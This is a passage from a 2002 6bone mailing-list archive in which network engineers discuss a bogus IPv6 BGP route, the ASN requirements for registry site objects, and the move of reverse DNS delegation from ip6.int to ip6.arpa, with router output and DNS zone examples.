> silly behavior implementations should be prepared for it. Perhaps
those
> implementations that use rtsol (kame) can modify rtsol to provide an
> additional argument to allow you to specify the suffix.
> 
> 


From 6bone-owner  Wed Jan 16 13:26:00 2002
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To: 6BONE List <6bone@ISI.EDU>
Subject: Re: Question on address configuration 
In-reply-to: Your message of "Wed, 16 Jan 2002 07:13:50 PST."
             <3C4598AE.9040700@quack.kfu.com> 
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-----BEGIN PGP SIGNED MESSAGE-----


>>>>> "Nick" == Nick Sayer <nsayer@quack.kfu.com> writes:
    Nick> Everything you said is true, but I would add the small postscript
    Nick> that in 99% of the cases where you would find it truly desirable to
    Nick> set up a well known address, you would be better off making that
    Nick> address site-local rather than based on the (routable) prefix. Your

  I agree.

  But it doesn't change the fact that I have to put something in my parent
zone's NS record, and I'd rather it was stable - this is a consideration
independant of address renumbering. This has to do with surviving hardware
failures, etc...

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [


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Charset: latin1
Comment: Finger me for keys

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Dhmf/HBnRl6ZuzFWMJrA2zGJuCYegUhmGG5wa+q/hrQ/TwWno5Q9cgwyhAdXS/3p
Vg9Gwlxoexc=
=98BI
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From 6bone-owner  Wed Jan 16 18:31:26 2002
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To: 6bone@ISI.EDU
Subject: bogus route: 2001::/16
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	we are seeing a bogus route, namely 2001::/16, advertised from
	AS 1003.  please stop it.  thanks.

itojun


bgpd@otm6-gate1# sh ipv6 bgp 2001::/16
BGP routing table entry for 2001::/16
Paths: (2 available, best #2, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  2001:200:0:1800::9c4:0 2001:200:0:1800::12a9:1 2001:200:0:1800::2513:0 2001:200:0:1800::2516:1 2001:200:0:1800::2518:1 2001:200:0:1800::2527:1 2001:200:0:1800::4697:1 2001:200:0:1800::4716:1 2001:200:0:1800::4725:1 2001:200:0:1800::6461:1 2001:200:0:1800::7514:1 2001:200:0:1800::9600:1 2001:200:0:1800:0:1:13:0 2001:200:0:1800:0:1:7522:0 2001:200:0:1800:200:f8ff:fe01:6c53 2001:200:0:1800:2e0:b0ff:fe2d:1f01 2001:240:100:ff::1 2001:240:100:ff::2
  2500 4691 8002 6726 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
    2001:200:0:1800::9c4:0 from 2001:200:0:1800::9c4:0 (203.178.140.203)
    (fe80::9c4:0)
      Origin incomplete, localpref 100, valid, external
      Last update: Thu Jan 17 08:40:26 2002

  4691 8002 6726 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
    2001:200:0:1800::4691:1 from 2001:200:0:1800::4691:1 (203.181.69.181)
      Origin incomplete, metric 3, localpref 100, valid, external, best
      Last update: Thu Jan 17 08:40:16 2002

From 6bone-owner  Thu Jan 17 01:26:32 2002
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From: "Kevin Farnes" <kfarnes@qinetiq.com>
Organization: QinetiQ
To: 6bone@ISI.EDU
Date: Thu, 17 Jan 2002 09:26:37 +0000
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Subject: Creating an ipv6-site object
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I am in the process of trying to establish an IPv6 tunnel from our 
site. I am trying to setup the relevant ipv6-site object within the 
registry. Unfortunately I have a slight problem.

One of the required fields is the Origin field, the AS number 
advertising the router. Unfortunately I don't have my own AS 
number. What should I put in this field to allow me to create the 
ipv6-object? Should it be the AS number of the pTLA/pNLA 
providing my connection?

Your help would be appreciated.

Kevin Farnes
Senior Engineer
QinetiQ
kfarnes@qinetiq.com----------------------------------------------------------
Mr. K. Farnes
Senior Engineer
North Site A114, QinetiQ,
St. Andrews Rd, Malvern,
Worcs, WR14 3PS
UK
Tel : +44 (0)1684 894156          Fax : +44 (0)1684 894303
E-Mail : kfarnes@qinetiq.com
----------------------------------------------------------


From 6bone-owner  Thu Jan 17 01:38:53 2002
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Date: Thu, 17 Jan 2002 11:39:42 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: Please make 3ffe::/16 reverse-delegations under ip6.arpa
Message-ID: <Pine.LNX.4.33.0201171133090.25616-100000@netcore.fi>
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Hi,

As ip6.arpa has been BCP for some time now, would it make sense to
delegate the reverses under ip6.arpa to all pTLA's, to the same servers as
with ip6.int?  (at the moment, not even e.f.f.3.ip6.arpa has been
delegated.)

There are resolvers using only ip6.arpa already.  (Whether that's a wise
transition decision is another question, but it does conform to *best*
current practise :-).

E.g. reverses in RIPE-assigned 2001::/16 -addresses were delegated in this 
fashion and work great.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Jan 17 04:00:14 2002
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To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
Subject: Re: Please make 3ffe::/16 reverse-delegations under ip6.arpa 
In-reply-to: Your message of "Thu, 17 Jan 2002 11:39:42 +0200."
             <Pine.LNX.4.33.0201171133090.25616-100000@netcore.fi> 
Date: Thu, 17 Jan 2002 21:52:55 +1000
Message-ID: <24681.1011268375@apnic.net>
From: George Michaelson <ggm@apnic.net>
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> E.g. reverses in RIPE-assigned 2001::/16 -addresses were delegated in this 
> fashion and work great.

For APNIC we have decided to pre-seed the whois structures with records
taken from ip6.int which are modified to block zonefile creation, which
means delegated parties can open it up when they are happy their local
server can handle ip6.arpa reverses, using normal Regional Internet
Registry methods to modify their whois domain: object.

So far only a small handful of people have ip6.arpa delegations, and I
suspect only a small amount of resolver software handles it, so dual
delegation might be wise for some time. 

Maybe when its more 50:50 we'll cut over so ip6.int is made a clone of
ip6.arpa instead.

cheers
	-George
--
George Michaelson       |  APNIC
Email: ggm@apnic.net    |  PO Box 2131 Milton QLD 4064
Phone: +61 7 3367 0490  |  Australia
  Fax: +61 7 3367 0482  |  http://www.apnic.net

From 6bone-owner  Thu Jan 17 04:58:51 2002
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From: "Matteo Tescione" <wizard@italiansky.com>
To: "Kevin Farnes" <kfarnes@qinetiq.com>, <6bone@ISI.EDU>
References: <3C4698CD.3562.4BFBAE@localhost>
Subject: Re: Creating an ipv6-site object
Date: Thu, 17 Jan 2002 13:58:54 +0100
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Kevin, if you don't have an Asn you can use one of the private range... what
kind of peering your think about?
Matteo
----- Original Message -----
From: "Kevin Farnes" <kfarnes@qinetiq.com>
To: <6bone@ISI.EDU>
Sent: Thursday, January 17, 2002 10:26 AM
Subject: Creating an ipv6-site object


> I am in the process of trying to establish an IPv6 tunnel from our
> site. I am trying to setup the relevant ipv6-site object within the
> registry. Unfortunately I have a slight problem.
>
> One of the required fields is the Origin field, the AS number
> advertising the router. Unfortunately I don't have my own AS
> number. What should I put in this field to allow me to create the
> ipv6-object? Should it be the AS number of the pTLA/pNLA
> providing my connection?
>
> Your help would be appreciated.
>
> Kevin Farnes
> Senior Engineer
> QinetiQ
>
kfarnes@qinetiq.com---------------------------------------------------------
-
> Mr. K. Farnes
> Senior Engineer
> North Site A114, QinetiQ,
> St. Andrews Rd, Malvern,
> Worcs, WR14 3PS
> UK
> Tel : +44 (0)1684 894156          Fax : +44 (0)1684 894303
> E-Mail : kfarnes@qinetiq.com
> ----------------------------------------------------------
>


From 6bone-owner  Thu Jan 17 05:15:24 2002
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From: "Robert J. Rockell" <rrockell@sprint.net>
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To: <itojun@iijlab.net>
cc: <6bone@ISI.EDU>
Subject: Re: bogus route: 2001::/16
In-Reply-To: <13552.1011234739@itojun.org>
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Hello,

I remember we spoke about connecting at Ny6ix?  I am at the IX now, and as
soon as my cross-connect is made, we should be able to speak IPv6 at that
site.

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
(+1) 703-689-6322
Sprint IP Services : Thinking outside the 435 box
-----------------------------------------------------------------------

On Thu, 17 Jan 2002 itojun@iijlab.net wrote:

->	we are seeing a bogus route, namely 2001::/16, advertised from
->	AS 1003.  please stop it.  thanks.
->
->itojun
->
->
->bgpd@otm6-gate1# sh ipv6 bgp 2001::/16
->BGP routing table entry for 2001::/16
->Paths: (2 available, best #2, table Default-IP-Routing-Table)
->  Advertised to non peer-group peers:
->  2001:200:0:1800::9c4:0 2001:200:0:1800::12a9:1 2001:200:0:1800::2513:0 2001:200:0:1800::2516:1 2001:200:0:1800::2518:1 2001:200:0:1800::2527:1 2001:200:0:1800::4697:1 2001:200:0:1800::4716:1 2001:200:0:1800::4725:1 2001:200:0:1800::6461:1 2001:200:0:1800::7514:1 2001:200:0:1800::9600:1 2001:200:0:1800:0:1:13:0 2001:200:0:1800:0:1:7522:0 2001:200:0:1800:200:f8ff:fe01:6c53 2001:200:0:1800:2e0:b0ff:fe2d:1f01 2001:240:100:ff::1 2001:240:100:ff::2
->  2500 4691 8002 6726 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
->    2001:200:0:1800::9c4:0 from 2001:200:0:1800::9c4:0 (203.178.140.203)
->    (fe80::9c4:0)
->      Origin incomplete, localpref 100, valid, external
->      Last update: Thu Jan 17 08:40:26 2002
->
->  4691 8002 6726 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
->    2001:200:0:1800::4691:1 from 2001:200:0:1800::4691:1 (203.181.69.181)
->      Origin incomplete, metric 3, localpref 100, valid, external, best
->      Last update: Thu Jan 17 08:40:16 2002
->


From 6bone-owner  Thu Jan 17 05:15:40 2002
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Sorry to cc list.  That was not meant for 6bone@isi.edu... maybe manning
still moderates :)

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
(+1) 703-689-6322
Sprint IP Services : Thinking outside the 435 box
-----------------------------------------------------------------------

On Thu, 17 Jan 2002 itojun@iijlab.net wrote:

->	we are seeing a bogus route, namely 2001::/16, advertised from
->	AS 1003.  please stop it.  thanks.
->
->itojun
->
->
->bgpd@otm6-gate1# sh ipv6 bgp 2001::/16
->BGP routing table entry for 2001::/16
->Paths: (2 available, best #2, table Default-IP-Routing-Table)
->  Advertised to non peer-group peers:
->  2001:200:0:1800::9c4:0 2001:200:0:1800::12a9:1 2001:200:0:1800::2513:0 2001:200:0:1800::2516:1 2001:200:0:1800::2518:1 2001:200:0:1800::2527:1 2001:200:0:1800::4697:1 2001:200:0:1800::4716:1 2001:200:0:1800::4725:1 2001:200:0:1800::6461:1 2001:200:0:1800::7514:1 2001:200:0:1800::9600:1 2001:200:0:1800:0:1:13:0 2001:200:0:1800:0:1:7522:0 2001:200:0:1800:200:f8ff:fe01:6c53 2001:200:0:1800:2e0:b0ff:fe2d:1f01 2001:240:100:ff::1 2001:240:100:ff::2
->  2500 4691 8002 6726 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
->    2001:200:0:1800::9c4:0 from 2001:200:0:1800::9c4:0 (203.178.140.203)
->    (fe80::9c4:0)
->      Origin incomplete, localpref 100, valid, external
->      Last update: Thu Jan 17 08:40:26 2002
->
->  4691 8002 6726 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
->    2001:200:0:1800::4691:1 from 2001:200:0:1800::4691:1 (203.181.69.181)
->      Origin incomplete, metric 3, localpref 100, valid, external, best
->      Last update: Thu Jan 17 08:40:16 2002
->


From 6bone-owner  Thu Jan 17 05:26:34 2002
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Date: Thu, 17 Jan 2002 05:27:26 -0800
From: Bill Manning <bmanning@ISI.EDU>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
Subject: Re: Please make 3ffe::/16 reverse-delegations under ip6.arpa
Message-ID: <20020117132726.GA34054@zed.isi.edu>
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It would have been nice if the RIRs and ICANN had considered this 
when they enabled ip6.arpa.  As it stands, they have beeen asked,
repeatedly by me, and now at the RIPE mtg as to why it has still not
been done.

--bill

From 6bone-owner  Thu Jan 17 05:38:43 2002
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Date: Thu, 17 Jan 2002 13:39:26 +0000
From: Russell King <rmk@arm.linux.org.uk>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
Subject: Re: Please make 3ffe::/16 reverse-delegations under ip6.arpa
Message-ID: <20020117133926.B12731@flint.arm.linux.org.uk>
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In-Reply-To: <Pine.LNX.4.33.0201171133090.25616-100000@netcore.fi>; from pekkas@netcore.fi on Thu, Jan 17, 2002 at 11:39:42AM +0200
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On Thu, Jan 17, 2002 at 11:39:42AM +0200, Pekka Savola wrote:
> As ip6.arpa has been BCP for some time now, would it make sense to
> delegate the reverses under ip6.arpa to all pTLA's, to the same servers as
> with ip6.int?  (at the moment, not even e.f.f.3.ip6.arpa has been
> delegated.)

Last time I looked at the RFCs and compared them with glibc, I found
glibc was buggy.

ip6.int uses a nibble-based format.  ip6.arpa uses a bitstring.
Unfortunately, the glibc people just replaced ip6.int with ip6.arpa,
which is obviously not correct.

See: http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=57870

I've had no feedback from this bug, nor any feedback from the glibc
maintainers.

-- 
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html


From 6bone-owner  Thu Jan 17 06:17:29 2002
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Date: Thu, 17 Jan 2002 16:18:15 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Russell King <rmk@arm.linux.org.uk>
cc: <6bone@ISI.EDU>
Subject: Re: Please make 3ffe::/16 reverse-delegations under ip6.arpa
In-Reply-To: <20020117133926.B12731@flint.arm.linux.org.uk>
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On Thu, 17 Jan 2002, Russell King wrote:
> On Thu, Jan 17, 2002 at 11:39:42AM +0200, Pekka Savola wrote:
> > As ip6.arpa has been BCP for some time now, would it make sense to
> > delegate the reverses under ip6.arpa to all pTLA's, to the same servers as
> > with ip6.int?  (at the moment, not even e.f.f.3.ip6.arpa has been
> > delegated.)
> 
> Last time I looked at the RFCs and compared them with glibc, I found
> glibc was buggy.

No.
 
> ip6.int uses a nibble-based format.  ip6.arpa uses a bitstring.
> Unfortunately, the glibc people just replaced ip6.int with ip6.arpa,
> which is obviously not correct.

The only thing RFC 3152 basically says is that delegations from ip6.int
should be moved under ip6.arpa.

The author of the RFC has clarified this to mean that nibble-structure 
should still be used with ip6.arpa.  (nothing prevents from putting 
bitlabels there too, of course.)

IMO, this should have been clearly mentioned in the draft, as it just 
confuses people (it confused me, and it has confused you).

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Jan 17 06:33:34 2002
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Date: Thu, 17 Jan 2002 11:28:22 -0300 (ART)
From: Juan Pablo Herrera <juanph@ccc.uba.ar>
To: 6bone@ISI.EDU
Subject: Contact point
Message-ID: <Pine.LNX.4.05.10201171126170.13429-100000@mateo.uba.ar>
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Hello everybody.
I'm loocking for a contact point in argentina.

Juan Pablo Herrera
Centro de Comunicacion Cientifica
Universidad de Buenos Aires


From 6bone-owner  Thu Jan 17 06:44:24 2002
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From: "Kevin Farnes" <kfarnes@qinetiq.com>
Organization: QinetiQ
To: <6bone@ISI.EDU>, "Matteo Tescione" <wizard@italiansky.com>
Date: Thu, 17 Jan 2002 14:44:30 +0000
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Subject: Re: Creating an ipv6-site object
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There is that potential if all else fails. However, this does make life a 
little bit more difficult for connection points as they must then ensure 
that this ASN does not get distributed. I suppose I could just put a 
suitable number in the field to allow the object to be created and just 
never use it. However, I would have thought that was cheating a 
could lead to confusion later.

I would have thought, however, that the system would be capable of 
allowing sites to be created without the necessity of having to have 
their own ASN number.

The current thoughts between myself and the connection point I 
have been talking to would be to use Static routing which keeps life 
nice and simple for both parties.

Kevin

> 
> Kevin, if you don't have an Asn you can use one of the private
> range... what kind of peering your think about? Matteo ----- Original
> Message ----- From: "Kevin Farnes" <kfarnes@qinetiq.com> To:
> <6bone@ISI.EDU> Sent: Thursday, January 17, 2002 10:26 AM Subject:
> Creating an ipv6-site object
> 
> 
> > I am in the process of trying to establish an IPv6 tunnel from our
> > site. I am trying to setup the relevant ipv6-site object within the
> > registry. Unfortunately I have a slight problem.
> >
> > One of the required fields is the Origin field, the AS number
> > advertising the router. Unfortunately I don't have my own AS
> > number. What should I put in this field to allow me to create the
> > ipv6-object? Should it be the AS number of the pTLA/pNLA providing
> > my connection?
> >
> > Your help would be appreciated.
> >
> > Kevin Farnes
> > Senior Engineer
> > QinetiQ
> >
> kfarnes@qinetiq.com---------------------------------------------------
> ------ - > Mr. K. Farnes > Senior Engineer > North Site A114, QinetiQ,
> > St. Andrews Rd, Malvern, > Worcs, WR14 3PS > UK > Tel : +44 (0)1684
> 894156          Fax : +44 (0)1684 894303 > E-Mail :
> kfarnes@qinetiq.com >
> ---------------------------------------------------------- >
> 

----------------------------------------------------------
Mr. K. Farnes
Senior Engineer
North Site A114, QinetiQ,
St. Andrews Rd, Malvern,
Worcs, WR14 3PS
UK
Tel : +44 (0)1684 894156          Fax : +44 (0)1684 894303
E-Mail : kfarnes@qinetiq.com
----------------------------------------------------------


From 6bone-owner  Thu Jan 17 06:59:00 2002
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From: "Matteo Tescione" <wizard@italiansky.com>
To: "Kevin Farnes" <kfarnes@qinetiq.com>, <6bone@ISI.EDU>
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Subject: Re: Creating an ipv6-site object
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Maybe you're right, the point is only whatever you want to do with your
ipv6-site, if you plan to use bgp peering with many site for a better
connection into 6bone, you would like to use a private asn and not an As
from your provider's upstream or something else, i think that your provider
doesn't agree so much to let a leaf site use their ASn, in fact if you have
only a static routing with it's site you don't have to use as, simple point
the ::/0 to provider's tunnel, but if you plan to grow your connection in
the backbone i suggest you to use an asn from private range....
Best regards,
Matteo
----- Original Message -----
From: "Kevin Farnes" <kfarnes@qinetiq.com>
To: <6bone@ISI.EDU>; "Matteo Tescione" <wizard@italiansky.com>
Sent: Thursday, January 17, 2002 3:44 PM
Subject: Re: Creating an ipv6-site object


> There is that potential if all else fails. However, this does make life a
> little bit more difficult for connection points as they must then ensure
> that this ASN does not get distributed. I suppose I could just put a
> suitable number in the field to allow the object to be created and just
> never use it. However, I would have thought that was cheating a
> could lead to confusion later.
>
> I would have thought, however, that the system would be capable of
> allowing sites to be created without the necessity of having to have
> their own ASN number.
>
> The current thoughts between myself and the connection point I
> have been talking to would be to use Static routing which keeps life
> nice and simple for both parties.
>
> Kevin
>
> >
> > Kevin, if you don't have an Asn you can use one of the private
> > range... what kind of peering your think about? Matteo ----- Original
> > Message ----- From: "Kevin Farnes" <kfarnes@qinetiq.com> To:
> > <6bone@ISI.EDU> Sent: Thursday, January 17, 2002 10:26 AM Subject:
> > Creating an ipv6-site object
> >
> >
> > > I am in the process of trying to establish an IPv6 tunnel from our
> > > site. I am trying to setup the relevant ipv6-site object within the
> > > registry. Unfortunately I have a slight problem.
> > >
> > > One of the required fields is the Origin field, the AS number
> > > advertising the router. Unfortunately I don't have my own AS
> > > number. What should I put in this field to allow me to create the
> > > ipv6-object? Should it be the AS number of the pTLA/pNLA providing
> > > my connection?
> > >
> > > Your help would be appreciated.
> > >
> > > Kevin Farnes
> > > Senior Engineer
> > > QinetiQ
> > >
> > kfarnes@qinetiq.com---------------------------------------------------
> > ------ - > Mr. K. Farnes > Senior Engineer > North Site A114, QinetiQ,
> > > St. Andrews Rd, Malvern, > Worcs, WR14 3PS > UK > Tel : +44 (0)1684
> > 894156          Fax : +44 (0)1684 894303 > E-Mail :
> > kfarnes@qinetiq.com >
> > ---------------------------------------------------------- >
> >
>
> ----------------------------------------------------------
> Mr. K. Farnes
> Senior Engineer
> North Site A114, QinetiQ,
> St. Andrews Rd, Malvern,
> Worcs, WR14 3PS
> UK
> Tel : +44 (0)1684 894156          Fax : +44 (0)1684 894303
> E-Mail : kfarnes@qinetiq.com
> ----------------------------------------------------------
>


From 6bone-owner  Thu Jan 17 07:21:09 2002
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Date: Thu, 17 Jan 2002 07:21:58 -0800
To: "Kevin Farnes" <kfarnes@qinetiq.com>
From: Bob Fink <fink@es.net>
Subject: Re: Creating an ipv6-site object
Cc: 6BONE List <6bone@ISI.EDU>
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Kevin,

At 02:44 PM 1/17/2002 +0000, Kevin Farnes wrote:
>There is that potential if all else fails. However, this does make life a
>little bit more difficult for connection points as they must then ensure
>that this ASN does not get distributed. I suppose I could just put a
>suitable number in the field to allow the object to be created and just
>never use it. However, I would have thought that was cheating a
>could lead to confusion later.

If you are a pTLA you must have your own ASN. If you are not a pTLA, you 
have the choice of the ASN of your upstream address allocation (tho it 
would be polite to ask them first), or a private range ASN. It is always 
the responsibility of your peers to not propagate it if you are not a pTLA, 
unless there is agreement to do so for some real reason, and the uniqueness 
of the ASN is taken into account.


>I would have thought, however, that the system would be capable of
>allowing sites to be created without the necessity of having to have
>their own ASN number.

If we didn't require it no none would fill it in.


>The current thoughts between myself and the connection point I
>have been talking to would be to use Static routing which keeps life
>nice and simple for both parties.

Well, even in this simple case BGP has uses, hence an ASN. Anyway, pick 
your upstream's ASN or a random private range ASN.


Thanks,

Bob


From 6bone-owner  Thu Jan 17 07:36:58 2002
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To: Juan Pablo Herrera <juanph@ccc.uba.ar>
CC: 6bone@ISI.EDU
Subject: Re: Contact point
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Juan Pablo Herrera wrote:
 >

> Hello everybody.
> I'm loocking for a contact point in argentina.

http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html#AR ?

-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX



From 6bone-owner  Thu Jan 17 07:38:49 2002
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Date: Thu, 17 Jan 2002 15:39:37 +0000
From: Russell King <rmk@arm.linux.org.uk>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
Subject: Re: Please make 3ffe::/16 reverse-delegations under ip6.arpa
Message-ID: <20020117153936.C12731@flint.arm.linux.org.uk>
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On Thu, Jan 17, 2002 at 04:18:15PM +0200, Pekka Savola wrote:
> The only thing RFC 3152 basically says is that delegations from ip6.int
> should be moved under ip6.arpa.

Umm, my reading of it implies that:
1. ip6.arpa domain space is to be used, as defined by RFC2874
2. ip6.int references are deprecated.
3. new implementations should use ip6.arpa
4. IANA should delegate the ip6.arpa domain.

RFC2874 defines the ip6.arpa to use bitlabels, which appear to be distinctly
different from the nibble-based represenation.

For example, try:

1 # dig -t PTR 1.5.7.0.0.c.e.f.f.f.7.5.0.1.2.0.1.0.0.0.2.0.0.2.0.6.2.8.e.f.f.3.ip6.int @195.92.249.255
2 # dig -t PTR 1.5.7.0.0.c.e.f.f.f.7.5.0.1.2.0.1.0.0.0.2.0.0.2.0.6.2.8.e.f.f.3.ip6.arpa @195.92.249.255
3 # dig -t PTR '\[x3ffe826020020001021057fffec00751].ip6.arpa' @195.92.249.255

To make all 3 of the above work, I've had to add the following to the DNS
on that machine:

$ORIGIN 0.0.c.e.f.f.f.7.5.0.1.2.0.1.0.0.0.2.0.0.2.0.6.2.8.e.f.f.3.ip6.int.
1.5.7                   PTR     tika.arm.linux.org.uk.

$ORIGIN 2.0.0.2.0.6.2.8.e.f.f.3.ip6.arpa
8.7.a.0.0.c.e.f.f.f.7.5.0.1.2.0.1.0.0.0 CNAME 8.7.a.0.0.c.e.f.f.f.7.5.0.1.2.0.1.0.0.0.2.0.0.2.0.6.2.8.e.f.f.3.ip6.int.

$ORIGIN \[x3FFE826020020001021057FFFEC00/116].ip6.arpa.
\[x751/12]              PTR     tika.arm.linux.org.uk.

If I drop the bitlabel, then the bitlabel (3) lookup stops working.  If I
drop the CNAME, then lookup (2) stops working.

The above is using bind 9.1.0.

I'd really like someone to clarify what the real situation is, and whether
my interpretations of RFC1886, RFC2874 and RFC3152 are correct.

(Lastly, is there a better mailing list to be discussing this stuff on?)

-- 
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html

From 6bone-owner  Thu Jan 17 08:02:30 2002
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Date: Thu, 17 Jan 2002 08:03:24 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8320::/28 allocated to POZMAN 
Cc: Bartosz Gajda <gajda@man.poznan.pl>
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POZMAN has been allocated pTLA 3FFE:8320::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?POZMAN>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Thu Jan 17 08:49:07 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Matteo Tescione" <wizard@italiansky.com>,
        "Kevin Farnes" <kfarnes@qinetiq.com>, <6bone@ISI.EDU>
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Mmmm I see some more private ASN hijacking on the horizon

-----Original Message-----
From: Matteo Tescione [mailto:wizard@italiansky.com]
Sent: Thursday, January 17, 2002 4:59 AM
To: Kevin Farnes; 6bone@ISI.EDU
Subject: Re: Creating an ipv6-site object

Kevin, if you don't have an Asn you can use one of the private range... what
kind of peering your think about?
Matteo
----- Original Message -----
From: "Kevin Farnes" <kfarnes@qinetiq.com>
To: <6bone@ISI.EDU>
Sent: Thursday, January 17, 2002 10:26 AM
Subject: Creating an ipv6-site object


> I am in the process of trying to establish an IPv6 tunnel from our
> site. I am trying to setup the relevant ipv6-site object within the
> registry. Unfortunately I have a slight problem.
>
> One of the required fields is the Origin field, the AS number
> advertising the router. Unfortunately I don't have my own AS
> number. What should I put in this field to allow me to create the
> ipv6-object? Should it be the AS number of the pTLA/pNLA
> providing my connection?
>
> Your help would be appreciated.
>
> Kevin Farnes
> Senior Engineer
> QinetiQ
>
kfarnes@qinetiq.com---------------------------------------------------------
-
> Mr. K. Farnes
> Senior Engineer
> North Site A114, QinetiQ,
> St. Andrews Rd, Malvern,
> Worcs, WR14 3PS
> UK
> Tel : +44 (0)1684 894156          Fax : +44 (0)1684 894303
> E-Mail : kfarnes@qinetiq.com
> ----------------------------------------------------------
>

From 6bone-owner  Thu Jan 17 09:18:17 2002
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Date: Thu, 17 Jan 2002 09:19:05 -0800
To: <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: RE: Creating an ipv6-site object
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For everyone not familiar with ASNs one should read the APNIC  FAQ on ASNs:

<http://www.apnic.net/info/faq/as_faq.html#5>

and specifically public and private ASNs:

>When is a Public Autonomous System number required?
>A Public AS number is required only when an AS is exchanging routing 
>information with other Autonomous Systems on the public Internet. That is, 
>all routes orginating from an AS is visible on the Internet.
>
>When can I use a Private Autonomous System number?
>A Private AS number should be used if an AS requires to do BGP with a 
>single provider. As the routing policy between the AS and the provider 
>will not be visible in the Internet, a Private AS Number can be used for 
>this purpose.
>The IANA has reserved AS64512 through to AS65535 to be used as private ASes.

And RFC1930:

<http://ftp.apnic.net/ietf/rfc/rfc1000/rfc1930.txt>

and from section 8 on IGP issues:

"As stated above, many router vendors require an identifier for tagging 
their IGP processes. However, this tag does not need to be globally unique. 
In practice this information is never seen by exterior routing protocols. 
If already running an exterior routing protocol, it is perfectly reasonable 
to use your AS number as an IGP tag; if you do not, choosing from the 
private use range is also acceptable (see "Reserved AS Numbers"). Merely 
running an IGP is not grounds for registration of an AS number. "


Thanks,

Bob

===
At 08:49 AM 1/17/2002 -0800, Michel Py wrote:
>Mmmm I see some more private ASN hijacking on the horizon
>
>-----Original Message-----
>From: Matteo Tescione [mailto:wizard@italiansky.com]
>Sent: Thursday, January 17, 2002 4:59 AM
>To: Kevin Farnes; 6bone@ISI.EDU
>Subject: Re: Creating an ipv6-site object
>
>Kevin, if you don't have an Asn you can use one of the private range... what
>kind of peering your think about?
>Matteo
>----- Original Message -----
>From: "Kevin Farnes" <kfarnes@qinetiq.com>
>To: <6bone@ISI.EDU>
>Sent: Thursday, January 17, 2002 10:26 AM
>Subject: Creating an ipv6-site object
>
>
> > I am in the process of trying to establish an IPv6 tunnel from our
> > site. I am trying to setup the relevant ipv6-site object within the
> > registry. Unfortunately I have a slight problem.
> >
> > One of the required fields is the Origin field, the AS number
> > advertising the router. Unfortunately I don't have my own AS
> > number. What should I put in this field to allow me to create the
> > ipv6-object? Should it be the AS number of the pTLA/pNLA
> > providing my connection?
> >
> > Your help would be appreciated.
> >
> > Kevin Farnes
> > Senior Engineer
> > QinetiQ
> >
>kfarnes@qinetiq.com---------------------------------------------------------
>-
> > Mr. K. Farnes
> > Senior Engineer
> > North Site A114, QinetiQ,
> > St. Andrews Rd, Malvern,
> > Worcs, WR14 3PS
> > UK
> > Tel : +44 (0)1684 894156          Fax : +44 (0)1684 894303
> > E-Mail : kfarnes@qinetiq.com
> > ----------------------------------------------------------
> >


From 6bone-owner  Thu Jan 17 09:34:10 2002
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From: Bruce Campbell <bruce_campbell@ripe.net>
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( Resent from the correct subscribed address )

On Thu, 17 Jan 2002, Pekka Savola wrote:

> The only thing RFC 3152 basically says is that delegations from ip6.int
> should be moved under ip6.arpa.

Would people find the following useful?:

	A repetitive walk through the ip6.int tree, and checking the
	listed nameservers for the matching ip6.arpa entry.

This would essentially build up a list of ip6.int delegations that are
ready to be delegated under ip6.arpa, without creating a lame ip6.arpa
entry.

A little bit more work will be able to send auto/manual notifications to
the parent delegations when such a condition is met.

( Personally, I don't think any entity should blindly delegate anything
